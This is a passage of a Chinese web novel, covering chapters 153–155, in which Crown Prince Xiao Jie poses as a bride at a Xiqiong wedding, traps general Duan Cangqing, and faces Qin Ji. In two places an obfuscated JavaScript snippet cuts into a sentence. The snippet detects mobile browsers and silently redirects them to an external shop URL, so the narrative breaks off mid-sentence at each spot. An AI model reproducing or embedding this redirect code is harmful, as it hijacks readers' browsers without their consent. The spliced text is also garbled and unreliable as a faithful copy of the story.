近年来,多座梁、秦历史遗址出土了大量关涉歌舞场景的文物,其中融合了大量祭祀元素,这也为本文研究提供了一个重要的切入角度。为更清晰地展现两地歌舞与祭祀的特殊关系,笔者试选取与梁秦同代、并具有宗教信仰的西琼作为对照。 今年年初,白石城遗址出土了一件彩陶盆,底部绘有歌舞图,这今见最早的琼族“祀高禖”舞曲仪式的记录。同期还发现了一件圆雕玉像,虽然部分已经钙化,但依旧能够辨认,这是一尊马头人身像。玉像佩戴耳环,双手交叉抱胸,造型庄严肃穆。其独特的衣着为进一步探索它的身份提供了两种可能:巫师或新娘。 ——《梁秦骨血祭祀文化考·第一章第三节·政权与宗教》 梁纪奉皇二十四年,白石城,段藏青为段元豹举行婚礼。 如果今天再来白石城,这座新世纪的历史景区,我们可以在复刻的祭坛上体验这种充满民族、宗教色彩的结婚仪式。夜幕降临之际,百余名佩戴银饰的青年男女会把你和你的配偶簇拥到最靠近火把的位置,整个过程中你们都需要舞蹈。但请放心,舞曲十分简单,四周刻画歌舞图的壁画可以视作一种动作提示。而且他们都是专业的歌舞演员,绝不会踩掉你的鞋子或踢你的脚。 同时,你需要人的牵引,如果你是新娘,除一件繁琐的青色吉服和重约十斤的纯银头面要穿戴,你还需要佩戴一副马形面具。古琼族人民相信,凭借这种巫术用具,神明将会降临。你需要从祭坛左侧登台,请注意,这时候你的步子要合乎祀高禖的舞曲了。如果你跳得足够到位,你的身形会像孔雀一样轻盈地一步一缓。你会听到四面八方响起歌声,在山壁包围和奇怪的乐器配合下,它会像天外之音在你周身缭绕。 这时候,团团火光之下,你会看到向你迎面而来的另一个马面具,你会把手递给他,像千年之前的这个夜晚,新娘交递出他的手掌一样。神显过后,你们都将迎来一个意外之喜的新郎。 *** 宾客们是站在祭坛之下的。婚乐响起时,所有人都会载歌载舞起来,整片祭地都会成为舞蹈的海洋。舞蹈是西琼的生命之火,在战争阴影之下,这种振奋人心的仪式尤为重要。 宾客没有必须佩戴面具的要求,只是不能在这里佩戴马面具而已,所以能够看到,有不少山猫野兽的五彩脸孔在人群间跃动。今夜的重要嘉宾秦华阳的脸就隐藏在一张猞猁面具下,他的眼睛在动物漆黑的眼孔里,看向祭坛上的一对新人。 据说段元豹是个痴子,应当不具备灵活行动的能力。但可以看出,台上的新郎是个身材挺拔的年轻人。舞步行云流水,充满力量感的同时又不失僵硬,两条雉羽在他手中飒飒有声,宛如钢鞭。这绝不是一个傻孩子能做出的仪式和舞蹈。 段映蓝姐弟隐瞒这样一个健康甚至茁壮的儿子,究竟存了什么心思,不言而喻。 秦华阳目光明灭不定,转而投向新娘。 新娘也在舞蹈。 她的身形被繁重的吉服遮掩,但能看出,是个身材高挑、体态轻盈的女孩。她手捧一块玉圭,这被视为神明权威所在。或许因为服饰限制,新娘的舞姿微有迟缓,但和空灵悠扬的节拍相和,反而有一种庄严的沉重感。 秦华阳感到,她的整个身躯都融于这片宗教的泉水,她随舞曲行动时,没有人在意她该迈左脚还是右脚,就像昙花绽放的一瞬没人在意花香是浓是淡一样。这时候任何人都会相信,她就是女神在人世的化身。 新娘步上左侧石阶时,新郎也被拥至右侧。 女巫立于山崖,开始吟唱。 祭坛上的火把被一口酒水吹响,宾客欢呼起来。 新的高潮要到了。 * 在男男女女簇拥下,这对年轻夫妇越离越近。秦华阳收回目光,心仍提在嗓子眼里。 段元豹婚礼的重要时刻,段藏青居然没有出面。 还有秦寄。自始至终未见秦寄一面。 他到底在哪里? * 最高的火把下,两位新人已经站到对面。隔着面具,在歌声和欢呼中,看着对方画成马形的脸。 画成山兽形貌的女孩跳跃而上,将红线拴系的两半葫芦举到面前。 【……】 祭祀结束。 婚宴正式开始了。 * 自始至终,秦华阳的视线没有离开这双新人半分。他渐渐离开队伍,似乎还在跳舞,在角落里和一个人紧贴后背,低声问:“还是没见段藏青?” 对方的脸藏在一张野猪面具下,听声音,是使团的一名随行侍卫:“没有。” “秦寄呢?” 野猪脸默然摇头。 秦华阳面具后的脸凝重下来,沉默时,场上突然爆发一阵欢呼。 按理说,祭祀结束后,新人总会与众人饮酒同舞。结果还没下祭坛,新郎已经把新娘抱在怀里,径自下台往新房去了。 野猪脸低声道:“段藏青迟迟未至,一定做下圈套,还是赶快撤离,事不宜迟!” 段元豹背影消失在人海之中,秦华阳收回视线,“印信尚无下落。” “留得青山在!”野猪脸急声道,“一切留待来日!” “费尽周章才找到这里,垂成之功,不容脱手!”秦华阳冷声道,“收拢全部眼线,只看印信下落!” 野猪脸迟疑:“那太子……” 秦华阳静止一瞬,似乎叹出口气,“是他无福。” *** 【……】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16804357|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 新郎骤然睁大眼睛。在突然大亮的火光照上窗户前,他先分辨出为首的那道响亮声音:“我敬大伙一碗热酒!” 是段藏青的声音。 *** 段藏青是在一支轻骑簇拥下抵达婚礼现场的。 他浑身热气,衣袍上似乎还有淡淡血腥味,跳下马背时先问:“豹子呢?” 一直在场的亲信回答:“已经回新房了。” 段藏青颔首,从他手里接过酒碗,笑道:“新人乏了,我这个做爹的替他们敬酒。各位戴着面具,怎么吃酒呢?摘下来,都摘下来!” 宾客们陆陆续续除下面具,露出为西琼熟悉的面孔。那张猞猁面具摘下,已经是西琼的一张中等军官的脸面。 秦华阳在面具之下,也给众人做了伪装。 但段藏青并没有把视线从他脸上移开。 他越靠越近,笑着叫这张假脸的名字:“孟阊,我敬你,今日双喜临门,吃完这碗酒,还劳你替我出一趟力。” “我收到一封密报,”段藏青盯紧他的眼睛,“梁太子在这里。” 秦华阳没有抬头,手仍稳稳端着酒。 段藏青和他酒碗一撞,“替我抓住他,我要亲手把他千刀万剐。” 秦华阳向他一举酒碗,准备饮酒。突然,他的手腕被段藏青攥住。 “怎么不说话?”段藏青独眼之中精光闪烁,“是一夕变成了哑巴,还是怕我认出你的声音?” 话音未落,段藏青一只大手当空击出,就要扭他的脖颈。一直守卫在侧的野猪脸早有防备,立即将秦华阳护持过来。 这是一个讯号,厮杀声立刻随之爆响了。 刚刚还谈笑饮酒的众人拔剑相向,人影在金铁碰撞火花四溅中照上岩壁,扭曲成马面女神驱动的森森鬼影。 婚礼被染红了。 秦华阳在闪避之时听到段藏青的高呼:“萧玠在此!谁能将此贼活捉,我与其结为异姓兄弟!我的财产军队,当半数付予!” 他抽出一把竹节刀,迅速挡开一剑,震得手腕发麻。 没想到段藏青已过壮年,竟还有如此蛮力。 想不明白,他想不明白,入琼之事到底是怎么泄露的? 如果是在入城之前——那段藏青早该派人把他们活捉。他不会允许任何人扰乱段元豹的婚礼,也不会放任萧玠在眼皮子底下活这么久。 那是宴会的时候?更不可能。倘若如此,他们的计划就无法运行到这一步了——段藏青绝不会把危险放在段元豹身边。 到底哪里出了差错? 又是一剑当头劈落,巨大的兵器撞击声从头顶炸开。 “我知道你想打阿豹的主意。”段藏青说,“但谁告诉你,我的小豹子,是个儿子?” 153.第 153 章 杀声大震中,新房大门自内打开。两旁侍卫连忙上前,见新郎牵住新娘快步出来。 侍卫忙道:“外头不安全,二位少主还是在内歇息。” 新郎摘下面具,露出秦寄的脸。他皱眉道:“正因如此,才要护送阿姊回去。给我一匹马。” “但青将军有令……” “我阿娘一死,都不将我放在眼里了。”秦寄冷声道,“别让我说第三遍,牵马!” 他声色俱厉地恫吓一番,侍卫立即牵来一匹高头大马。秦寄将新娘抱上马背,自己一跃而上,双腿一打马腹。 骏马紧贴石壁阴影自后飞驰而出。 秦寄问:“谁在外接应你?” 新娘只道:“白石城西,靠近鱼箭滩的位置,去那里。” 语落,她感觉秦寄驱马的哨声停滞一下。他一定对自己何以如此熟悉白石城方位起疑了。 但秦寄没有追问,他明白自己追问下去会得到一个万分可怕的答案,可怕到他会把面前这个人扔下马背,让她——让他被段藏青一剑杀死。 他不想他死。 秦寄大喝一声,骏马拧身一跃,飞速躲过一块自上崩落的山石。他收紧马缰,这是西琼战马唯一取用的马具。 “走山路。”他说,“坐稳了。” *** 白石城的山林毒瘤般隆起地上,那些有毒的脉络间,闪现一匹骏马狂奔的身影。 杀声越来越远,像一阵耳鸣前的幻觉。骏马急速奔驰,像一竿凌云之箭,飞射在狭窄陡峭的山间。这时不论是谁——秦寄段藏青还是故事外的我们——都该知道,这个马背上的新娘就是导致一切乱局的罪魁祸首,那个脑袋价值万金的天潢贵胄太子萧玠。 萧玠感到身下的简直不是一匹马,而是一条筋骨刚硬飞速穿梭的大蛇。奇怪的驱马调子在耳边响起时,两条滚烫坚硬的手臂把他环在胸前、飞速振动缰绳。头冠上的流苏噼里啪啦砸在脸上,比雨点还要暴烈。 但比这还暴烈的,是秦寄喷在耳边的呼吸声。 这时候萧玠终于有点活过来的感觉,立即嘱咐道:“你快回家,回南秦,阿耶那边有危险。让他提防姑姑,她有反心!” 秦寄喝道:“你胡说什么?” “你以为我怎么知道你是跟段藏青来的?”萧玠深吸口气,“他假扮秦华阳骗走你之后,真正的秦华阳来了。他们要我跟着追踪西琼的行迹,路上换了我身边的人。他有挟持我们的打算。还有你师父褚玉绳——” “萧明长。”秦寄打断他,“秦华阳是我亲哥,比你要亲。” “我知道你不信我,我知道你再也不会信我了。但你把这件事转告阿耶,他会有判断。”萧玠急声叫道,“阿寄,秦伯琼,我求你!我不会害阿耶!” 秦寄打马的速度没有放缓一分,环住萧玠的手臂也没有一分放松。他仍在看路,问:“秦华阳在哪里?” “戴着面具,在婚礼,估计已经杀成一团了。他和段藏青之前应该有些交易。阿耶的妹妹和外甥,越过他和他的妻族有交易……”萧玠叫道,“阿寄,前面就到了,放下我你就回去,后面的事你不要管了。你赶紧回阿耶身边,他只有你了,向着他的只有你了!” 风声如鼓,击打鼓膜也击打脸颊,加上呼吸不畅,萧玠有些头晕眼花。 秦寄没有回答。 如此一路狂奔,不知行速,不知时辰,萧玠只觉连黑夜边缘都微微褪色,如果说到了地尽头他也信了。这时秦寄终于锁住缰绳,骏马高鸣一声,被这骤然一勒痛得前蹄高抬。 萧玠撞到秦寄胸前时,听到秦寄说:“到了。” 面前,山峦的轮廓若隐若现,形同野兽,隐约可以听到呼噜呼噜、宛如兽吼水流拍打之声。萧玠跳下马背,秦寄仍拒马而望,在与山脉几乎融为一体的地平线处,他看到一支带甲军队奔涌而出。 “你早有准备。”秦寄说,“萧玠,你又算计了我一次。” 萧玠的脸隐在黑夜里,低低道:“对不住。” 秦寄不答。他看了这个人一会,声音毫无感情:“我救过你很多次,这是最后一次。” “把我姐姐交给我,我们恩怨两清。” 萧玠看向他。 面具相对时,对视还有些温情,如今真面目相对,秦寄胸中那团说不清道不明的急火又烧起来。萧玠还没说话,他就一把捏住萧玠脖颈,沉声道:“你能顶替她,别说她不在你手里。把她给我。不给我,我不会回南秦。” 后方的队伍乍然耸动,萧玠立刻抬臂制止了。而秦寄仍保持这个饱含杀意的动作。 他意识到自己想要激怒萧玠,他不知道为什么但他要这么做。如他所愿,萧玠脸上神色骤变。但秦寄胸口反而窒了一下。他嘴上却仍说:“怎么,你能拿他的命逼我,我就不能拿他的命逼你吗?” 萧玠嘴唇分开的瞬间突然被秦寄一把推开。 一支利箭几乎和他脸颊相贴而过。 背后的黑夜被马蹄和火光惊破。秦寄跳下马背将他拦到身后时,萧玠看到追击而来的段藏青。 不对。萧玠心中一个咯噔。 假扮新娘一事瞒不过段藏青太久,但秦寄这一路都是羊肠山道,而段藏青率领的队伍怎么说也有百数。他们不可能追击得这么快。 一条新缝在萧玠心中绽裂了。他察觉仍有遗漏之处。但他思绪立刻被当前形势拉回来——对面,段藏青放下弓箭,厉声喝道:“秦伯琼!你忘了你娘是怎么死的了吗?还不将此子碎尸万段为你娘报仇雪恨!” 后方的骑兵已经赶到身边,把萧玠簇拥其中。从服色可以看出,这是地道的大梁府兵。 萧玠把秦寄推到身后,再抬头已是温文尔雅一张笑脸:“青将军,这可不是求人的态度。” 段藏青冷笑一声,喝道:“把人带上来!” 随其一声令下,几个俘虏被推上前,尽是使团中人。 段藏青道:“我数三个数,再不交出我女儿,我就把你的手下杀个干净!” 萧玠好整以暇地看着他,听他怒火愈发高涨地喊过三声,继而抄起利剑,喀嚓喀嚓喀嚓,三人人头落地。三具尸体扑通栽倒的声音响起,萧玠依旧神色未更。 这样不符合萧玠个性的冷眼旁观连段藏青都有些吃惊。他冷笑两声:“好一个仁厚道德的皇太子,让你的手下都看看,你是一个什么杀人不眨眼的贤名!” 萧玠终于开口:“青将军怎么那么肯定,我和他们的关系是同路同道,而不是黄雀螳螂?” “你和段映蓝多年经营,为了段元豹安危,一直把她的传言伪装成一个私生子的消息。秦华阳自然而然以为新郎才是段元豹,他制定的计划,是用自己的人换掉新娘,靠近并控制段元豹。那个被换掉的新娘,在他眼里无关紧要。” 萧玠笑了一下,“但他不知道,这个他以为最无关紧要的人,反而是整个计划最至关重要、也是最难攻克的部分。 “秦华阳笃信光明宗,他对西琼宗教的全部推断,都是建立在他对光明宗的认知上。这就导致,他对光明宗知之越多,对西琼的很多推断也就越错。 “我们来的时候遇到了你们祭祀的石棚。秦华阳推断是你为段元豹婚前举行的祭祀。但他不知道,和南秦信众都能祭祀父母神不同,西琼的个人祭祀,男奉豹形男神,女尊马面女神。祭祀神灵的东西一定是自己的所用之物。还有,石棚岩画的两个新人,新娘比新郎要高大一些,说明她的地位更尊崇。” 萧玠顿一顿。他柔和的眼睛在火把照耀下,居然展露剑的锋芒。 “他不知道,但我知道。樾州之难有多少人死在你们算计里,陛下亲征西琼我没有一个晚上能睡个好觉,我怎么可能不知道?” 他长出一口气,笑道:“幸亏我知道呀,不然现在被拿人质要挟的,就是我了,不是吗?” 萧玠抬头看一眼北斗,用一种刻意激怒的口吻,娓娓而道:“青将军,你比不上你姐姐。你姐姐是个老谋深算的政治家,你顶多是个武夫罢了。打仗、理政和宗教你都是一根弦走到底,你压根没想过之间会有什么干系。你信神,虽然没有到笃信的程度,但你也算得上虔诚。所以你把一个痴傻的女儿孤身放在神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16804358|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庙——” 段藏青喝道:“你放屁!” 果然是个莽夫,一被激怒,竟然真的要同他争辩对错。 萧玠歉意道:“抱歉,不是孤身,有几个你以为万无一失的人,在神庙外寸步不离地卫护。” “但你的女儿总要到神庙来,因为她是西琼的圣女,要在神庙出嫁。而按照西琼之礼,奉送女孩的只能是贵族妇女。但西琼已无贵族,你便要求各部族的夫人前来送嫁。你和这大小几十名首领都不一定多么熟悉,更别说他们的妻女了。”萧玠说,“你们都想换我的人,我就不能换你的人吗?” 他说着,盯紧段藏青的脸,看他的脸色由红而白,又涨成酱紫的猪肝色。他轻声说:“我拿到了段元豹,计划已经完成一半。接下来才是最重要的,我要潜入婚礼,才能找到秦寄,扮成新娘是最危险也最安全的一件事。但这也是一件很棘手的事,我们并不知道神庙在哪里。不过青将军,这要感谢你。 “我发现,你在段元豹出嫁之前,清晨都要一个人骑马出去一趟。你出去的时候,都会带着大量的冰块和香料,回来的时候空手而归。 “你是去什么地方,或者去见谁呢?谁会让你这样不辞劳苦每日狂奔呢?萧玠步步紧逼,而段映蓝的灵柩回城后,并没有人知道你把她埋在哪里,这是非常不合常理的。她是西琼的领袖你的挚爱,白石城是你的据地,你怎么可能无声无息地把她草草下葬?” “会不会,你压根没有安葬她,而是等待一个时间。”萧玠似乎是纯然的疑问,“你和段映蓝唯一的女儿要出嫁了,你能不让她亲眼瞧瞧吗?” “事实证明,我猜对了。你把段映蓝的棺材安置在神庙。” 此语一出,段藏青大骂一声,几欲策马上前,被身边军官死死抱住,“将军,圣女还在他手里!” 萧玠看着他暴跳如雷,继续道:“这就是整个计划最关键最困难的部分,居然在准备阶段就解决了。因为秦华阳觉得一个被替换的女孩无足轻重,我一顺水推舟,他就把这件事交给了我。” 萧玠想到什么,对他微微一笑:“青将军,如果没有你亲自引路,要找到神庙很有难度。是你把女儿送给了我。” 段藏青挣开军官手臂,喝道:“萧恒养的小畜生!割下此子的脑袋,解救圣女脱困!” 他当即抡动手中大刀,双腿一打,胯下骏马疾冲向前。 西琼军队冲锋的瞬间,早已等候的大梁战马飞奔迎战,像两股足以击碎巨石的浪涛迎头相碰,迸溅出震天杀声。 段藏青虽过壮年,却依旧勇猛,一柄长杖大刀在手宛如夺命阎罗,劈落冲击上前的数名梁军,挥刀向萧玠当头劈来! 嗡! 兵器相撞的巨大声响里,段藏青虎口被震得发麻,他怒目看向架住刀锋的虎头长剑,喝道:“秦伯琼!你跟姓萧的联手对付我!” 萧玠眉心上方,刀尖哗地一搅,已被秦寄拧动手臂转剑打落。他深吸口气:“阿姐还在他手里!” “你是为了你姐姐,还是为了他!”段藏青冷笑两声,“我和你娘养你这么大,结果养了条喂不熟的狗!” 萧玠目光顿时一冷。听他此话,秦寄脸色骤变,却仍格住段藏青刀口,凄声喊道:“舅舅!” 他和段藏青交战有顾忌,处处招架,如何能出狠手。段藏青不理,抡动刀背将他打下马去,宝刀如风,顷刻向萧玠头颅斩去! 砰当一声。 一支飞箭自后射出,猎鹰俯冲般钻到刀面上,几乎把刀杖震到脱手! “赵帅!”梁军中爆发一阵欢呼,“是赵帅到了!” 段藏青又要挥刀,长刀却被飞冲而来的一把宝剑稳稳格住。握住剑柄的,是一只被血火浸泡风沙打磨的,粗糙坚实的大手。 西夔营主帅赵荔城一夫当关,烈士暮年,犹有猛虎之风。 赵荔城出现的瞬间,远处的夜空被轰地照亮。抢在闪烁的红光前,远处先传来宛如惊雷的地动山摇之声。 “是神武将军炮。”萧玠终于放松下来,绽放这些天第一个由衷的笑容,“你们的老巢完蛋了。” 154.第 154 章 子时之前,战斗止息。 远处被炮火炙烤发白的天空下隐约有黑烟升腾,前方,段藏青被五花大绑,由两名军官押着单膝跪地。 赵荔城奉密诏驻守火炮乙营,扎在西南边陲,是以兵贵神速。他手臂开了个血口,正草草包扎,见萧玠上前,忙要抱拳见礼。 萧玠忙搀住他,“能得今日之胜,全赖赵帅兵贵神速。” “臣镇守的猿台关离这里最近,殿下的消息一到,火炮营上下振奋非常。可算找到这孙子的老窝了。”赵荔城收起笑容,看向段藏青,“殿下,此贼要如何处置?” 和赵荔城一同赶来的还有郑缚。年前伐琼之战,冠军大将军郑素亦披甲上阵,负伤不可谓不重,郑缚对琼兵更是恨之入骨。 郑缚喝道:“先前多少兄弟折在段氏手里,请殿下斩杀此贼洒血祭旗!” 萧玠颔首,“请军旗。” 一得号令,众将士立即将白龙玄旗抬到阵前。赵荔城向萧玠一礼,拔出宝剑大步上前。 段藏青哈哈大笑,厉声骂道:”萧玠,你这个没娘生养的王八羔子!你以为杀了我就能太平逍遥吗?我告诉你,你们一家离倒台不远了!阿姐,阿姐!等着我,我来见你了!” 两名将官把他肩膀死死按住,赵荔城立于其后,手臂高举,一道剑风当空挥下—— “萧玠!” 这一声太过凄厉,连赵荔城也忍不住收住宝剑,看向那声音的源头。 人群尽头,一条道应声裂开,一个秦寄走出来。 他包扎了一半的右臂还在往下滴血,看样是刚刚从军医手下挣脱出来。他抿紧嘴唇,一步一步走到萧玠对面,在相隔十步的位置停住。 秦寄说:“今天是我生日。” 萧玠整张脸抖动一下。他眼中光点瞬间明晰,又渐渐恢复如初。 萧玠问:“如果我要明天杀段藏青呢?” “那就是明天。”秦寄盯着他,“你从来没给过我生日礼物,十七年,我就要这一个。” 战场残余的火光在萧玠脸上跳动,他一张沉默的脸明灭不定。终于,萧玠抬起手,往后抬了抬。 郑缚急道:“殿下,你还要因为他心慈手软吗?!” 萧玠看向他,“今天是六月二十七。” 郑缚大张的嘴巴突然僵住,喉咙似乎被一只无形的手攥紧,再吐不出一个字。 萧玠深吸口气,“劳烦赵帅先将段贼押解下去,严加看管,如何处置待我号令。火炮营左翼继续追击,右翼清扫战场,寻找秦华阳踪迹,活要见人死要见尸。东宫卫率,看管西琼俘虏,犯烧杀淫掠者,立斩不赦。秦寄。” 萧玠的视线在他脸上颤动不止,终于落在他那条伤臂上,叹气道:“你跟我来。” *** 萧玠一叫秦寄,赵荔城便会意引路。他在一座军帐前住步,为萧玠打开帐门。 萧玠进帐后,秦寄也紧跟而入,见到帐中人时当即叫道:“阿姐!” 中央倚案而坐的女孩转头,露出一张单纯美丽的笑脸。 她皮肤黧黑,眼睛一弯,撇成两条蚕蛾般的弧线。她似乎并不清楚自己置身敌营,只向秦寄张开手臂,也不说话,只咯咯笑着。 萧玠看着他们姐弟相拥亲爱的场面,替他们放下帐帘。 他转身,慢慢往新搭起的大帐方向走,用手指了指脑袋,问迎上来的郑缚,“有没有找军医给她瞧瞧?” 郑缚会意,“看过了,说的确有些痴症,应该不是装的。” 萧玠点点头,又问:“各位将军呢?” “四品及以上的军官都在帐中等候殿下。” 萧玠不多说,同他往帐中赶去。还未进帐,便听见大声交谈,气氛十分高涨。 老帅赵荔城声如洪钟,众人多钦佩他征战多年,为西塞长城,更向往他同今上同袍征战的故事。战事稍歇,难得有些欢声笑语。 萧玠听了一会才打帐进去。众人忙要见礼,萧玠笑道:“战时无需多礼。是我要谢各位救助之功。” 赵荔城笑道:“殿下实在言重。一知道是给殿下打仗,这些小子一个赛一个精神,也不磨工也不推诿,全都急得像吃人家婚席去了!” 众人一齐笑起来。萧玠问:“不知赵帅是否见到秦华阳一行的踪迹?” 赵荔城摇头,“西琼俘虏里的确有几个南秦人,但到我们手里之前,要么被段藏青所杀,要么就咬舌自裁了。秦华阳和褚玉绳的踪迹臣已经派人追查,掘地三尺也要发出人来。” 萧玠沉吟:“他们冒此大险赶到西琼,一定有重要人物要拿、重要之事要办……还请赵帅严加审讯西琼军官,看看能不能从他们嘴中撬出一些东西。我给秦公写了封信,也请赵帅帮我加急递去。” 赵荔城收下信,立即派人快马去送。他也有些疑惑:“如此看来,秦华阳行事慎之又慎。他都能混到婚礼队伍里,怎么在最后关头露出马脚?” “因为段藏青在赶去婚礼的路上,收到一封密信,上面只有五个字。”萧玠道,“梁太子在此。” 赵荔城倒吸口冷气,“有奸细?” 萧玠笑了笑,“赵帅以为,这封信是谁写的?” 他这一问,一个想法在赵荔城心中油然而生,直接吓出他一身冷汗,便听萧玠徐徐道:“火炮营虽有威势,但山路难行,炮车能不能进、几时能进还是未知之数。我们胜算若要大,就要削弱他们的势力。赵帅熟知兵法,更知道‘敌已明,友未定’时,该当如何。” 赵荔城看向萧玠的眼神发生变化,“借刀杀人。” “要对敌双方,最好叫他们鹬蚌相争,彼此两败俱伤之际,再做渔翁。我们省时,省力。只说秦华阳不够,必须是一个段藏青恨之入骨的人。”萧玠道,“而且,我还要找秦少公。” 如果秦寄只是恨他,也就罢了。可如今情态,秦寄绝不会放任他死。 他要找秦寄如同大海捞针。最好的方式,就是让秦寄主动现身。 “不愧是将军的儿子!”赵荔城一巴掌拍在大腿上,“谁再说殿下是个纸上谈兵的书生,老赵第一个提棍子!不过说回来,上一个叫人喊纸上谈兵的还是咱们军师,殿下如今颇见其当年风范。” 萧玠笑道:“到底不敢有辱师门。” 再打量萧玠,赵荔城除欣慰之外,更是后怕:“但殿下千金之躯深入虎穴,实在太险!要不是见了东宫玉符——就这几个小子自称东宫侍卫,还空口白牙说殿下在西琼,臣打死也不敢出动火炮营。天爷,臣当时一听形势,心都快突突出来了!殿下金玉之躯,怎么跑到这贼窝里来的?” 萧玠笑笑,拍拍郑缚后背:“说来话长。不过幸好早有防备,一发觉秦华阳一行在换我身边的人,就叫他赶紧给陛下报信。” 郑缚挠挠头,“还是殿下料事如神。我和殿下佯作吵架,实则回京报信。殿下说秦华阳行事谨慎,为防我去寻援,一定会把我斩草除根。果然,我离开不久,秦华阳便派人追来,想把我就地刺杀。” 赵荔城笑道:“能瞒过他们还回京禀告,这位小郑郎是有些本事的。” 这个“小郑”出口,萧玠神情微不可察地僵硬一下。郑缚没瞧见,正有些得意地解释:“也是殿下的主意。早就看好,来路处有一座山崖,让我引他到那边,让他亲眼看我被逼无路跳下去,就成了。我大哥从前给过我一枚腰锁,我小时跟他们去白龙山玩,经常扣着腰锁跳到崖头底下吓唬他们两个……早就练熟了。” 赵荔城也拍拍他肩膀,问萧玠:“刚刚听说,他们还替换了殿下身边的东宫侍卫?” 萧玠点点头,“识破之后,我给他们通了个信儿。” 这事发生在郑缚离开之后,他不解道:“但当时已经换掉十个人,殿下怎么知道谁真谁假的?” 萧玠笑了笑:“当年沈娑婆一案后,你大哥觉得我身边不安全,重新训练东宫卫,定了一套暗号。那时候我已经不戴光明铜钱了,他便将其作为不好明示时的讯号之一。如果见我右腕戴铜钱,就是外部有变;如果左腕戴钱,那动乱生在自己人之间。东宫卫见此,都单独见过我,我们就定下一套计划。秦华阳绝对会把我身边之人全部换掉,那就还会有动手的时候。我先让他们按兵不动,在被换之时反杀来人,装作已经被换掉,原封不动地在我身边待着。再密切监视已被换过的左右付率,看他们二人和秦华阳如何私下交流。” 萧玠叹口气:“但南秦内部应当有一套暗号,这个东宫卫学不来,我就只能加紧行程,让秦华阳没有单独找他们的机会。但这个方法太 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年轻人们早闻萧玠治潮州定柳州的威名,本对他颇有敬畏,但今日一见,却极其温和亲切,言谈风趣,更没有什么架子,便一个两个、一句两句地跟他讲话,没一会,就七嘴八舌眉飞色舞起来。 一个青年士兵结结巴巴,想说什么,但一直插不进话,张不开口。 赵荔城笑着拉过他,道:“殿下,别看这小子腼腆,平常可迷信你了,一听给你打仗那刀抡得简直火花四溅,平常切瓜都没那么快。” 萧玠握住他的手,“不着急,有话慢慢说。” 那军官不过二十多岁,脸庞还很青涩,看看萧玠拉住自己的手,一开口就哽咽了:“殿下,我……我是樾州人……我……” 萧玠眼眶湿润了,紧紧抱住他。 到底还在行军路上,也不好聚众笑闹过久。人群一会便各自散去,换岗的换岗上药的上药,萧玠也预备回帐,临要去,还是拐了个弯儿。 他掀开另一幅帐帘,看到段元豹和秦寄一前一后而坐的画面。段元豹一条辫子散了,披在脑后,由秦寄帮她编。秦寄应当能听到萧玠的声音,但他的注意力似乎全被那条辫子吸引,没有任何表示。 萧玠看了一会,道:“那一绺不是这么编的。” 秦寄鼻中出了股气,没动。萧玠从他身旁坐下,要接过段元豹的头发。秦寄就这么瞪视他。 萧玠叹口气:“你那么编,会扯掉她的头发。” 段元豹回头看他们俩,嘻嘻一笑,耸耸肩膀,把头歪向萧玠。 秦寄鼻中一嗤,不情不愿地把梳子递给萧玠。萧玠接在手,慢慢梳理段元豹的头发,那又黑又硬的长发像野草一样刚硬茁壮。萧玠手指灵活,很快就把辫子梳起来,笑道:“我家里有个妹妹,我小时候会想要怎么给她梳头。后来,我有一个女儿,但她的头发没你这么粗壮。” 萧玠将她摘下的银饰重新插在耳侧,对她道:“很漂亮。” 段元豹天真烂漫地笑起来。 萧玠看着她的脸颊,眼里有些意味不明的光亮涌现。他默了一会,问:“段藏青原本要把她嫁给谁?” 秦寄不答。 萧玠又问:“你是怎么把新郎换掉的?” 秦寄抚摸段元豹的发梢,“如果我压根不需要换呢?” 萧玠浑身一震。 他猝然抬首,不知是恼怒还是惊异,“你……” 但他有什么立场责备秦寄? 秦寄不认他这个哥哥,自己不认他那份感情。于情于理,无情无理。 在秦寄过分炽热的盯视下,萧玠无法招架,将脸扭开。这样一个罪大恶极的欺骗者,却显得受委屈的是他一样。他看着段元豹尤肖母亲的脸庞,心中酸得要落泪。最后,只是站起身,冷静道:“我知道你跟段藏青来,是要寻找一些事情的答案。” “现在你找到了吗?” 说完,他不顾秦寄反应,撩开帐帘就要去,却猛地被人拽住手腕。 秦寄看着他,“萧玠,你在气什么?” 他们两个一动作,段元豹的目光也跟过来。那清澈无知的眼神简直是两根冰棱,一下子楔进萧玠心里。他的羞耻心良心不管什么心统统在这一刻碎落满地。 萧玠深呼吸几下,尽量维持冷静,说:“松手。” 【……】 155.第 155 章 秦寄当然没法在不清楚答案的人那里要到答案。 他太了解萧玠的性格,每当面对他无法面对的问题时,他不解决,他逃避。 这个懦夫,这个熟练的逃兵,这个不负责任的始乱终弃者,同时也是最冷静的刽子手。 果然,萧玠手忙脚乱地把即将剖开的心藏起来,又开始磨刀霍霍了。他说:“阿寄,现在不是谈这个的时候。” 秦寄从善如流:“那你想谈什么?” “谈谈西琼,谈谈段藏青。”萧玠泪痕未干的脸突然异常冷酷,“这不才是你最关切的么?” 秦寄看他一眼,从行军榻上站起来。萧玠也从榻上坐起,两人又恢复了一种壁垒分明的对峙关系。 